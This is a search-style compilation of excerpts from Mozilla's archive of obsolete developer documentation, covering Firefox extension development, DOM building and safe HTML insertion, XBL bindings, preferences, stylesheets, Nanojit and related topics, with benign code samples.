...ntry.getelementsbyclassname("title")[0].textcontent = title; entry.getelementsbyclassname("description")[0].textcontent = description; template.parentnode.appendchild(entry); the important difference here is that the result will always have the same structure as the template tag. clonenode() always creates a copy and textcontent only manipulates text. so there is no chance of accidentally adding
new elements or attributes. but what if you have to display html rather than only text, e.g. an rss feed entry? extension authors will often come up with flawed attempts to sanitize html code. instead, nsiscriptableunescapehtml.parsefragment() method should be used that is meant for just that scenario: var target = entry.getelementsbyclassname("description")[0]; var fragment = components.classes["@mo...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the firefox ui. these issues are discussed in chapter 5. the minimum knowledge required in the interest of brevity, i will omit explanations of widely understood technologies, and focus instead on introducing
new technologies you will need to understand in order to develop for firefox. i will assume that you have experience developing with dynamic html, as well as the topics below. for more information on these technologies, please refer to other sources. xml coding css coding basic javascript syntax xml: a text-based structural language extensible markup language (xml) is a meta-language for expr...
... considered similar to lisp. firefox 3.5 includes a number of extensions to the specification standardized in ecmascript 3rd edition, and can use javascript 1.7 and javascript 1.8. listing 3: an example of a class definition in javascript function myclass() { } myclass.prototype = { property1 : true, property2 : 'string', method : function() { alert('hello, world!'); } }; var obj =
new myclass(); obj.method(); dom: an api for manipulating xml documents the document object model (dom) is a technical standard promulgated by the w3c, and is an api for manipulating the contents of xml documents as objects. in earlier dynamic html approaches, the typical method was to use the innerhtml property of the html element node to dynamically change the contents of the html document by ma...
...ould be impossible. there are a number of levels to the dom with different levels of functionality. gecko supports nearly all of dom level 2 and some of dom level 3. with the dom, the contents of an xml document are handled as a "dom tree," a collection of element nodes and other nodes. listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a
new button element as a substitute, and sets a label attribute. we do not go into the details of the various apis in the dom. to learn more about the dom, please take a look at the mdc documentation. listing 4: an example manipulation using the dom var bar = document.getelementbyid('toolbar'); bar.removechild(bar.childnodes[1]); bar.appendchild(document.createelement('button')); bar.lastchild.seta...
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
toolbars in firefox are very customizable. some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging multiple toolbars in the process. firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. ...
...his is very important because the toolbar customization dialog won't work correctly without this. the way to include the file in the manifest is to add this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a
new line like the one above. we now have code that adds one or more buttons to the toolbar palette. the user can now use the customize dialog to add the buttons to the current firefox toolbars. in most cases this is not what you want as default behavior, because it would be very hard for the user to discover your buttons. keep in mind most users don't know how to customize toolbars in firefox. let'...
...into optimizing your images. given the way manifest files work, we have found that the best solution is to have a separate package name for os-specific skin files. skin xulschoolhello classic/1.0 skin/all/ skin xulschoolhello-os classic/1.0 skin/unix/ skin xulschoolhello-os classic/1.0 skin/win/ os=winnt skin xulschoolhello-os classic/1.0 skin/mac/ os=darwin all we did here is add a
new entry for "common" styles that points to the all directory. the os-specific entries now use a different package name: xulschoolhello-os. now you just need to be careful about when to use chrome://xulschoolhello/skin/ and when to use chrome://xulschoolhello-os/skin/. it's a bit hacky, but it works well. as for the image files themselves, you may be wondering why it is that all icons are included ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
hod include modifying the arguments passed to the wrapped function, modifying its return value, and making changes both before and after the original method is called. this scheme is highly flexible and can be made to work under most circumstances. css animation events this technique, which works on firefox 5+, has some particular advantages. because it is based on css, it can be keyed to match
new elements of any arbitrary css selector. and because it is css-based, and is triggered when css is being applied anyway, it does not slow dom mutations. the technique was adapted from the method used by the x-tag library. the code below contains an inefficient fallback implementation for older browsers. it is worth noting, however, that while the animation-based implementation will fire any time ...
...to run in non-chrome-privileged scopes. /** * watches for nodes matching the given css selector to become * available. * * @param {string} selector the css selector of nodes about which you * want to be notified. * @param {function(event)} callback the function which is to be called * when matching nodes become available. * @param {document} doc the document in which to watch for
new nodes. * @optional @default document * * @returns {function} a function which may be called to unregister the * listener. */ if ('mozcsskeyframerule' in window || 'csskeyframerule' in window) { var watchnodes = function watchnodes(selector, callback, doc) { const event = watchnodes.prefix + (watchnodes._i++); const xhtml = 'http://www.w3.org/1999/xhtml'; doc ...
...get.mozmatchesselector(selector)) callback.call(this, event); } return function unwatch() { doc.removeeventlistener('domnodeinserted', listener, false); }; } } xbl xbl is similar in approach to the above animation-based method. bindings are attached to dom nodes via css and are given the opportunity to run code via their constructors when
new matching dom nodes are created. while it is no longer possible for web sites to use xbl directly, chrome code can still attach xbl bindings to web content from stylesheets loaded via the stylesheet service. as it is currently possible to attach only a single binding to a given dom node at once, it is important when using this method to detach your binding from a node once your constructor has ru...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
ement.appendchild( jsontodom(["xul:hbox", {}, ["div", {}, ["a", { href: href, key: "link", onclick: function (event) { alert(event.target.href); } }, text], ["span", { class: "stuff" }, "stuff"]]], document, nodes)); alert(nodes.link); function addentrytopopup(menupopup, doc, chromewindow) { var
newitem = doc.createelement("menuitem");
newitem.setattribute("value", "testvalue");
newitem.setattribute("label", "another popup menu item"); menupopup.appendchild(
newitem); }; var jsontemplatebtn = ["xul:toolbarbutton", { id: "mytestbutton", class: "toolbarbutton-1", type: "menu", label: "test button label", toolti...
...", ">": ">" }; note that quotation marks must be escaped in order to prevent fragments escaping attribute values. var href = "http://www.google.com/"; var text = "google"; document.getelementbyid("target-div").innerhtml = '<div>\ <a href="' + escapehtml(href) + '" target="_top">' + escapehtml(text) + '</a>\ </div>' it needs to be stressed that this method should not be used in
new code and is only a temporary measure to shore up legacy code bases. safely generating event listeners and scripts it is occasionally necessary to generate event listeners and script fragments from dynamic content. great care must be taken in these situations. under no circumstances should code resembling 'callback("' + str + '")' appear anywhere in your add-on. closures by far the best way to...
...tributes in the parsed fragment. gecko 14+ only. * @param {nsiuri} baseuri the base uri relative to which resource * urls should be processed. note that this will not work for * xml fragments. * @param {boolean} isxml if true, parse the fragment as xml. */ function parsehtml(doc, html, allowstyle, baseuri, isxml) { let parser_utils = "@mozilla.org/parserutils;1"; // user the
newer nsiparserutils on versions that support it. if (parser_utils in cc) { let parser = cc[parser_utils] .getservice(ci.nsiparserutils); if ("parsefragment" in parser) return parser.parsefragment(html, allowstyle ? parser.sanitizerallowstyle : 0, !!isxml, baseuri, doc.documentelement); } r...
Handling Preferences - Archive of obsolete content
nces. incorrect values can make firefox behave oddly or break altogether. you can type on the "filter" textbox to search for specific preferences. if you type the word "homepage", it will filter all the preferences and display only the ones which include the word "homepage" in its name or value. right-clicking on the list reveals several options that allow you to modify preference values and add
new ones. preferences with non-default values are highlighted in bold. all changes done in about:config are saved to the prefs.js file. the list in about:config is not complete. some firefox preferences have no default value, so they are left out unless you add them manually. an extensive specification of firefox preferences can be seen in this page. you don't need to know them by heart; if doing ta...
... are fairly simple: // amount of messages shown to the user. pref("extensions.xulschoolhello.message.count", 0); this defines a preference we'll use to keep track of the amount of times we have displayed a greeting message to the user. its default value is 0. you'll see this preference appear in about:config after installing the extension. just type "xulschool" in the filter box to see your
new preference. note: always begin your preference names with "extensions", followed by some namespacing and finally the actual name of the preference. name parts are normally separated by dots. now let's look at how we actually manage the preference values. managing preferences with xpcom we use the preferences service in order to get and set preference values: this._prefservice = cc["@mozi...
...se); this._prefservice.queryinterface(ci.nsiprefbranch); all the qi'ing is necessary because the addobserver method is in a different interface, and other than for adding and removing observers, we use the nsiprefbranch interface for everything related to preferences. then, create the observer method: observe : function(asubject, atopic, adata) { if ("nspref:changed" == atopic) { let
newvalue = asubject.getintpref(adata); // do something. } }, always remember to remove the observer when you don't need it anymore: this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.removeobserver(prefname, this); preference windows it's very common for extensions to have a few settings that their users can change to tailor them to their needs. since there are som...
Local Storage - Archive of obsolete content
lementation of a logger similar to the log4j logger used in java projects. the logger is called log4moz and it is implemented as a javascript code module, so it only works on firefox 3 and above. to use this logger, you need to copy the log4moz.js file to your modules directory. ...
...tup objects, add the following code: let formatter =
new log4moz.basicformatter(); let root = log4moz.repository.rootlogger; let logfile = this.getlocaldirectory(); // remember this? let appender; logfile.append("log.txt"); // loggers are hierarchical, lowering this log level will affect all // output. root.level = log4moz.level["all"]; // this appender will log to the file system. appender =
new log4moz.rotatingfileappender(logfile, formatter); appender.level = log4moz.level["all"]; root.addappender(appender); after that, you can create a logger object for any object in your project like this: this._logger = log4moz.repository.getlogger("xulschool.someobject"); this._logger.level = log4moz.level["all"]; note: we recommend that you create a logger instance in the constructor of ev...
... you should carefully design your database structure, taking into account features you're planning on adding in the future. adding or removing columns, or making other changes to your db structure from one version of your extension to the next will probably cause breakage of user data in older versions. you'll need to carefully add migration code that moves the data from the old db format to the
new, and this becomes increasingly complex as you add
new versions and
new structure changes. so, be careful and plan for the future. there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all tables (through mozistorageconnection.createtable(), and initial data when your extensio...
Mozilla Documentation Roadmap - Archive of obsolete content
ployees, as well as several other members of the mozilla community. feeds are added frequently, so the information available through it will only grow with time. it can be hard to follow due of the sheer mass of information coming out of it (dozens of posts per day), but you'll certainly be up to date with pretty much everything if you take the time to read at least part of it. the about:mozilla
newsletter is a weekly publication that includes the highlights of what is posted at planet mozilla. it is a good alternative if you feel planet mozilla is too much. you can also subscribe to receive it by email if you prefer that. posts on about:mozilla also make it to planet mozilla. the mozilla add-ons blog. this blog is maintained by the add-ons team at mozilla, and it's a great way to stay up t...
...od alternative if you feel planet mozilla is too much. you can also subscribe to receive it by email if you prefer that. posts on about:mozilla also make it to planet mozilla. the mozilla add-ons blog. this blog is maintained by the add-ons team at mozilla, and it's a great way to stay up to date with amo development and add-on review policies. this blog is also part of planet mozilla. irc and
newsgroups mozilla developers use their irc channels heavily. there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. you'll need an irc client in order to do this, and the chatzilla extension works well for this purpose. problems using irc include: finding help when you have a big timezone difference with th...
...ther topics in real time with the people that have the answers. you'll need an irc client in order to do this, and the chatzilla extension works well for this purpose. problems using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers. another somewhat obscure communication channel is the mozilla
newsgroups. they are also very diverse and active, and there's a good chance you'll get your queries answered. thunderbird also comes in handy for reading and posting to the
newsgroups. another advantage is that discussions are archived and searchable through google groups. other and finally, a couple resources you should also keep in mind: other extensions. there are thousands of extensions out...
Using the Stylesheet Service - Archive of obsolete content
e service, create a uri and pass the uri to the stylesheet service's loadandregistersheet method. var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.
newuri("chrome://myext/content/myext.css", null, null); sss.loadandregistersheet(uri, sss.user_sheet); note: loadandregistersheet will load the stylesheet synchronously, so you should only call this method using local uris. determining whether a sheet has been loaded if you are writing an extension and adding your stylesheet in an onload handler, you'll want to see if your sheet has already been ...
... already been added. if you don't check, you will wind up adding your sheet once per window load. var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.
newuri("chrome://myext/content/myext.css", null, null); if(!sss.sheetregistered(uri, sss.user_sheet)) sss.loadandregistersheet(uri, sss.user_sheet); removing a previously registered stylesheet if you wish to remove a stylesheet that you previously registered, simply use the unregistersheet method. var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .ge...
... wish to remove a stylesheet that you previously registered, simply use the unregistersheet method. var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var u = ios.
newuri("chrome://myext/content/myext.css", null, null); if(sss.sheetregistered(u, sss.user_sheet)) sss.unregistersheet(u, sss.user_sheet); registering stylesheets on startup via the category manager stylesheets may also be registered on startup via the agent-style-sheets and user-style-sheets categories. the category names are ignored, and the values are the uris from which to load the styleshe...
Creating reusable content with CSS and XBL - Archive of obsolete content
nguage). you can use xbl to link selected elements to their own: stylesheets content properties and methods event handlers because you avoid linking everything at the document level, you can make self-contained parts that are easy to maintain and reuse. more details for more information about xbl bindings, see the xbl page in this wiki. action: an xbl demonstration make a
new html document, doc6.html. copy and paste the content from here: <!doctype html public "-//w3c//dtd html 4.0//en"> <html> <head> <title>mozilla css getting started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a
new css file, style6.css. this stylesheet cont...
...this file contains the xbl binding. ...
...this separate stylesheet contains style for the binding. copy and paste the content from here: /*** xbl demonstration ***/ [anonid="square"] { width: 20em; height: 20em; border: 2px inset gray; } [anonid="button"] { margin-top: 1em; padding: .5em 2em; } open the document in your browser and press the button. this wiki does not support javascript in pages, s...
Creating a Web based tone generator - Archive of obsolete content
<head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output. var audio =
new audio(); audio.mozsetup(1, samplerate); var currentwriteposition = 0; var prebuffersize = samplerate / 2; // buffer 500ms var tail = null; // the function called with regular interval to populate // the audio output buffer. setinterval(function() { var written; // check if some data was not written in previous attempts.
...e function. } tail = null; } // check if we need add some data to the audio output. var currentposition = audio.mozcurrentsampleoffset(); var available = currentposition + prebuffersize - currentwriteposition; if(available > 0) { // request some sound data from the callback function. var sounddata =
new float32array(parsefloat(available)); readfn(sounddata); // writing the data. written = audio.mozwriteaudio(sounddata); if(written < sounddata.length) { // not all the data was written, saving the tail. tail = sounddata.slice(written); } currentwriteposition += written; } }, 100);...
... = 0, currentsoundsample; var samplerate = 44100; function requestsounddata(sounddata) { if (!frequency) { return; // no sound selected } var k = 2* math.pi * frequency / samplerate; for (var i=0, size=sounddata.length; i<size; i++) { sounddata[i] = math.sin(k * currentsoundsample++); } } var audiodestination =
new audiodatadestination(samplerate, requestsounddata); function start() { currentsoundsample = 0; frequency = parsefloat(document.getelementbyid("freq").value); } function stop() { frequency = 0; } </script> </body> </html> ...
Using XML Data Islands in Mozilla - Archive of obsolete content
here is a complete demo (also available as an attachment): <!doctype html> <html> <head> <title>xml data block demo</title> <script id="purchase-order"...
..." type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser =
new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineitems.length + " line...
...amens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineitems.length + " line items. the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser =
new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie. here is another possible way, using the <object> tag. for this demo, you must create an external document called purchase_order.xml: <!doctype html> <h...
Creating a Microsummary - Archive of obsolete content
irefox download count along with the label fx downloads; for example: 174475447 fx downloads. we'll build the xslt transform sheet that converts that page into its microsummary, learn how to specify that the generator applies to that page, and find out how to make the generator available for download and installation. in each step of revising the transform sheet and other code in this tutorial,
new material added will be shown in boldface so you can follow along more easily. note: if you are a web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages. for example, if you ...
...te the microsummary for the page. otherwise, if the url returns plain text content (or html content that can be converted to plain text), firefox uses the content as the microsummary for the page. beginnings generators are expressed as xml documents whose root element is the <generator> element in the http://www.mozilla.org/microsummaries/0.1 namespace. to begin building the generator, create a
new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descriptions of the microsummaries the generator creates. names should be descriptive enough to give users a good idea what infor...
... get an xpath expression that points to the node in question is to use the xpath checker extension. install the extension (restarting firefox to complete installation) then go to the spread firefox home page, find the firefox download count (a large number at the bottom of the right-hand column), context click on the number, and select view xpath from the context menu. xpath checker will open a
new window. the
new window will include an xpath field that contains this xpath expression pointing to the download count node: id('download-count'). add a <value-of> element to the xslt <template> element whose select attribute contains that xpath expression: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"...
Embedding FAQ - Archive of obsolete content
q mozilla.dev.embedding how to start embedding you can find a examples, faqs, and the api from mozilla itself. you can get more detailed information on what interfaces are required and which are optional to impelement here. scroll down to "initalization and teardown. how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding
new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a stripped down, uncommented code with eclipse libraries in this thread. here is the code : import org.eclipse.swt.swt; import org.eclipse.swt.browser.mozillabrowser; import org.eclipse.swt.browser.progressevent; import org.eclipse.swt.browser.progresslistener; import org.ecl...
...ode : import org.eclipse.swt.swt; import org.eclipse.swt.browser.mozillabrowser; import org.eclipse.swt.browser.progressevent; import org.eclipse.swt.browser.progresslistener; import org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display =
new display(); shell shell =
new shell(display); final mozillabrowser browser =
new mozillabrowser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(
new progresslistener() { public void changed(progressevent event) { } public vo...
... ...
Documentation for BiDi Mozilla - Archive of obsolete content
aselevel: the base level (direction) of the paragraph.nextbidi: when a frame has been split, this points to the next frame (in logical order). it is an nscontinuingtextframe. "reordering" of frames is accomplished by setting the appropriate frame coordinates. the order of the frames in the content model is not affected, so frames that are adjacent in the content model can be far apart visually. a
new frame iterator, nsvisualiterator (in nsframetraversal.cpp) provides visual frame navigation capability. details of rendering are dependent on user preferences and system capabilities. where the system is capable of tasks such as reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base...
...dealing with less than a whole frame. examples of this are in nstextframe::painttextslowly; nstextframe::paintunicodetext when a selection is displayed; nstextframe::getposition; nstextframe::getpointfromoffset. text in visual mode must also be reversed before display on a bidi platform. text fields and composer the specification of the bidi changes to composer was posted in the editor and i18n
newsgroups, and responses there were taken into account. the implementation is mostly in layout code, especially in nsselection.cpp and nscaret.cpp. other bidi functionality clipboard: based on bidi options in preferences, the text mode of the clipboard may be "logical", "visual" or "as source". in "as source" mode, the text copied into the clipboard is exactly the same (from a bidi point of view) ...
...ions in preferences, the text mode of form controls may be "logical", "visual" or "like containing document". we have also tested behaviour of all controls with dir=rtl and added support where necessary. some support added for alignment in tables and lists, and fixes for problems with different combinations of dir and align. ...
Using microformats - Archive of obsolete content
antic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself. firefox 3 implements a global microformats object that provides access to microformats. this object and its api make finding and reading microformats easy to do. loading the microformats api the microformats object is created using the
new javascript script loader added to firefox 3. to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript. predefined microformats firefox 3 provides defi...
...oformats firefox 3 provides definitions implementing several common microformats: adr represents an address (such as a street or mailing address). geo represents a geographical location using latitude and longitude. hcard represents contact information for a person. hcalendar represents a calendar appointment entry. tag used to add tags to other microformats. methods add() adds a
new microformat to the microformat module. note: if a microformat by the specified name already exists, it is replaced by the
new one. add(name, definition); parameters name the name of the microformat to add to the microformat module. definition a javascript structure describing the microformat. see describing microformats in javascript for details. count() counts the number of microfor...
...xternal content are included in the search. the default is true. showhidden if true, hidden microformats are added; otherwise they're left out. the default is false. debug specify true if debug mode is in use; otherwise, specify false. the default is false. targetarray optional. if provided, this is an array of microformat objects to which the search results are added. return value a
new array of microformat objects matching the search criteria, or the array specified by microformats with the
newly found microformat objects added. getnamesfromnode() returns a space-delineated list of microformat names that correspond to the specified microformat node. var namelist = microformats.getnamesfromnode(node); parameters node the node for which to retrieve a list of microformat ...
Nanojit - Archive of obsolete content
e <stdint.h> #include "jsapi.h" #include "jstracer.h" #include "nanojit.h" using namespace nanojit; const uint32_t cache_size_log2 = 20; static avmplus::gc gc = avmplus::gc(); static avmplus::avmcore core = avmplus::avmcore(); int main() { logcontrol lc; #ifdef debug lc.lcbits = lc_readlir | lc_assembly; #else lc.lcbits = 0; #endif // set up the basic nanojit objects. ...
...stracer.h" #include "nanojit.h" using namespace nanojit; const uint32_t cache_size_log2 = 20; static avmplus::gc gc = avmplus::gc(); static avmplus::avmcore core = avmplus::avmcore(); int main() { logcontrol lc; #ifdef debug lc.lcbits = lc_readlir | lc_assembly; #else lc.lcbits = 0; #endif // set up the basic nanojit objects. ...
...ng namespace nanojit; const uint32_t cache_size_log2 = 20; static avmplus::gc gc = avmplus::gc(); static avmplus::avmcore core = avmplus::avmcore(); int main() { logcontrol lc; #ifdef debug lc.lcbits = lc_readlir | lc_assembly; #else lc.lcbits = 0; #endif // set up the basic nanojit objects. allocator *alloc =
new vmallocator(); codealloc *codealloc =
new codealloc(); assembler *assm =
new (&gc) assembler(*codealloc, *alloc, &core, &lc); fragmento *fragmento =
new (&gc) fragmento(&core, &lc, cache_size_log2, codealloc); lirbuffer *buf =
new (*alloc) lirbuffer(*alloc); #ifdef debug fragmento->labels =
new (*alloc) labelmap(*alloc, &lc); buf->names =
new (*alloc) lirnamemap(*alloc, fragmento->labels); #endif // create a fragment to hold some native code. fragment *f = fra...
Prism - Archive of obsolete content
dock and to display pop-up notifications. customization: apps can be run using a shared browser runtime and customized using client-side script (similar to greasemonkey). custom stylesheets can be used to tweak the ui. architectural overview prism is a xulrunner application. in addition to the browser engine included in xulrunner, it consists of: web app bundle management: code for creating
new web app bundles and loading existing bundles. shortcut creation ui: a dialog box lets the user specify attributes of the web app (name, uri, icon, shortcut locations). javascript api: an api that can be used by scripts inside the bundle to customize the application. we are refining this approach to make the api applicable in as many environments as possible (e.g. it might be useful even for a...
...ke to harmonize our api with those of similar projects such as adobe air and google gears. operating-system integration: binary components provided access to os-specific features like shortcut creation and dock/tray icons. we intend to propose these extensions for inclusion in future versions of xulrunner. firefox extension: a firefox extension, code-named "refractor", can be used to spin out
new prism apps from inside the web browser. refractor adds a
new menu item to call up the shortcut creation dialog for inside firefox. web apps can also point to a complete web app bundle or some elements of a web app (like higher resolution icons). refractor automatically takes this information into account. documentation frequently asked ques...
... installer installing prism. view all... ...
Space Manager High Level Design - Archive of obsolete content
need to manage impacts to lines caused by changes to floated elements. this is referred to as propagation of float damage and is handled by the block frame, making use of the space manager. when a float is incrementally reflowed, the space manager is notified if the float's region has changed. if so, the vertical space that has been affected (including both the float's old region and the float's
new region) is noted in the internal nsintervalset as potential float damage (the method is includeindamage). during the incremental reflow of dirty lines the block frame may encounter lines that are not dirty. in this case the space manager is also asked if there is any float damage, and if there is then the block further checks to see if that damage intersects the area of the non-dirty line, markin...
...nternal use of the nsbandtrapezoid by the space manager, rather it uses its internal bandlist to create a banddata collection, which is largely made up of nstrapezoid data. use case use case 1: space manager is created / destroyed space manager instances are created in the nsblockframe's reflow method. an instance is created the blockreflowstate's previous space manager is saved off. the
new space manager instance is associated with the blockreflowstate. after the block frame's reflow has completed, the old space manager instance is re-associated with the blockreflowstate the
new space manager is destroyed. if the blockreflowstate already had a space manager instance associated with it, it is stored off before being replaced, and the returned to the blockreflowstate instance after...
...e manager instance is associated with the blockreflowstate. after the block frame's reflow has completed, the old space manager instance is re-associated with the blockreflowstate the
new space manager is destroyed. if the blockreflowstate already had a space manager instance associated with it, it is stored off before being replaced, and the returned to the blockreflowstate instance after the
new one has been destroyed. thus, space managers are effectively 'nested' during reflow, with each
new block introducing its own space manager. use case 2: float is added to the space manager after a space manager is created for a block context's reflow chain, a floated block may be added to it. this happens in the method nsblockreflowstate::recoverfloats and nsblockreflowstate::flowandplacefloat ...
Supporting private browsing mode - Archive of obsolete content
ate browsing support (those prior to firefox 3.5). it will simply always report that private browsing is off, and will never call any registered watcher functions. using the helper the helper described above is very easy to use. ...
...re: var listener =
new privatebrowsinglistener(); if (listener.inprivatebrowsing) { // we are in private browsing mode! } else { // we are not in private browsing mode! } in addition, you can install watcher functions to be called when private browsing turns on and off, as shown in the following example. this lets you passively monitor for changes in private browsing status. var listener =
new privatebrowsinglistener(); listener.watcher = { onenterprivatebrowsing : function() { // we have just entered private browsing mode! }, onexitprivatebrowsing : function() { // we have just left private browsing mode! } }; canceling shutting off private browsing mode extensions can prevent private browsing mode from being shut off. an extension might wish to do this if it's curr...
...e is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable. see supporting private browsing in plugins for details. amo policy and private browsing in order to publicly list an add-on on addons.mozilla.org, the add-on must properly respect private browsing mode by not recording sensitive data while private browsing mode is active. this is a
new policy that is just being implemented (as of february, 2010). note: during the transition period as this policy is put into effect, there is some leeway as well as a grace period. see this blog post by ehsan akhgari for details on the transition period. the following categories define what's considered "sensitive" data: the urls of pages the user has visited. the domains of sites the user...
Treehydra Manual - Archive of obsolete content
treehydra is meant to be used for analyses that need more detail than dehydra's flattened asts. instead of representing code in "easy" form like dehydra, treehydra relies on gimple, the gcc internals "middle-end" intermediate representation. treehydra simply reflects the gcc internals structures into javascript. for now, the best way to learn gimple is to look at existing code as there is little
newbie documentation to be had. callbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascript via callbacks. there are 3 treehydra callbacks. note that the callbacks interact with other treehydra options. to make things easier, we will first present recipes for accessing specific gcc intermediate representations. treehydra provides the fol...
... name a special abstract value that represents all possible concrete values. thus, top means the analysis has no information about that value or state. meet. meet is a relation on abstract values used to filter states at conditional statements. for example, if the current abstract value of a variable x is nonzero, and the analysis goes inside an if statement with the condition x == 1, then in the
new abstract value of x will be nonzero meet 1. esp uses a user-defined meet function supplied to the analysis constructor that should return the intersection of two abstract values. it is also acceptable for meet to return a value that contains the intersection--this may cause the analysis to have more false positives but will not introduce false negatives. join. join is a relation on abstract value...
... contains the intersection--this may cause the analysis to have more false positives but will not introduce false negatives. join. join is a relation on abstract values used to merge states at control flow merge points. for example, if esp reaches a point where two control flow paths merge, and on one side the abstract value of x is 1, and on the other side, the abstract value of x is 2, then the
new abstract value of x will be 1 join 2. esp uses a built-in join function where join(a,a) -> a and join(a,b) -> top for a != b. ...
Binding Attachment and Detachment - Archive of obsolete content
. bindings in an inheritance chain are always detached from the most derived binding to the base. therefore the <destructor> block of the derived binding will execute, and then the base binding's block will execute. when bindings attached through style are detached because of a style change, they have no effect on any other bindings attached using the dom. those bindings will stay installed. ...
...fect on any other bindings attached using the dom. those bindings will stay installed. if
new bindings are attached through css, they are installed after the dom bindings in the inheritance chain. for example, given a bound element with a binding chain of d1->d2 ->d3 ->s1 ->s2 ->s3 withs1 representing the binding attached via css. if a resolution of style on the bound element determines that a
new bindingt should be attached, then the following binding chain is detached: s1->s2 ->s3 and the
new binding is attached. the final inheritance chain is: d1->d2 ->d3 ->t when bindings are detached using element.style.mozbinding, any base bindings that were attached through the extends attribute on the binding will also be removed. in other words, a removal of element.style.mozbinding will remov...
...m one of these previously loaded binding documents. the document obtained from loadbindingdocument is a copy of the binding document that is unique to the bound document. the bindings in the binding document can be modified using standard dom apis. any subsequent binding attachments that occur on elements in the bound document for bindings in the binding document use the modified copy. therefore
new binding definitions can be generated dynamically or the anonymous content templates for bindings can be altered and used by the bound document. ...
Elements - Archive of obsolete content
ds attribute. inheritstyle - the inheritstyle attribute indicates whether style rules from the document will affect anonymous content generated by the xbl binding. if this attribute is true, styles from the document will also be applied to the xbl generated anonymous content. content <!element content any> <!attlist content id id #implied > a binding can specify
new content that is placed inside the bound element. although you can see this content on screen as if it was directly in the file, this content is anonymous and is hidden from the normal dom. to access anonymous nodes on an xbl bound element, you can use the getanonymouselementbyattribute and getanonymousnodes functions. the only xbl element that can appear inside the content tag is the children tag...
...erty that will be returned to the requestor. a property getter can also be specified as a child of the property element using the getter tag. onset - the onset attribute's value is a script that executes when the value of the property is being altered. if this attribute is set, any initial value contained underneath the element will be ignored. within the script, the parameter val represents the
new value being assigned. a property setter can also be specified as a child of the property element using a setter tag. getter <!element getter pcdata> <!attlist getter id id #implied > the getter element contains script that gets executed when a specific property gets called. the getter tag must be inside the property tag. id - the id attribute is a documen...
...ct in order for the handler to fire. charcode - the charcode attribute imposes a filter on key handlers. its value is a single character, e.g., "z". if this attribute is present, then its value must match the charcode field of the dom key event object in order for the handler to fire. [editor's note: as dom events mature more attributes may be added. for example, mutation events define several
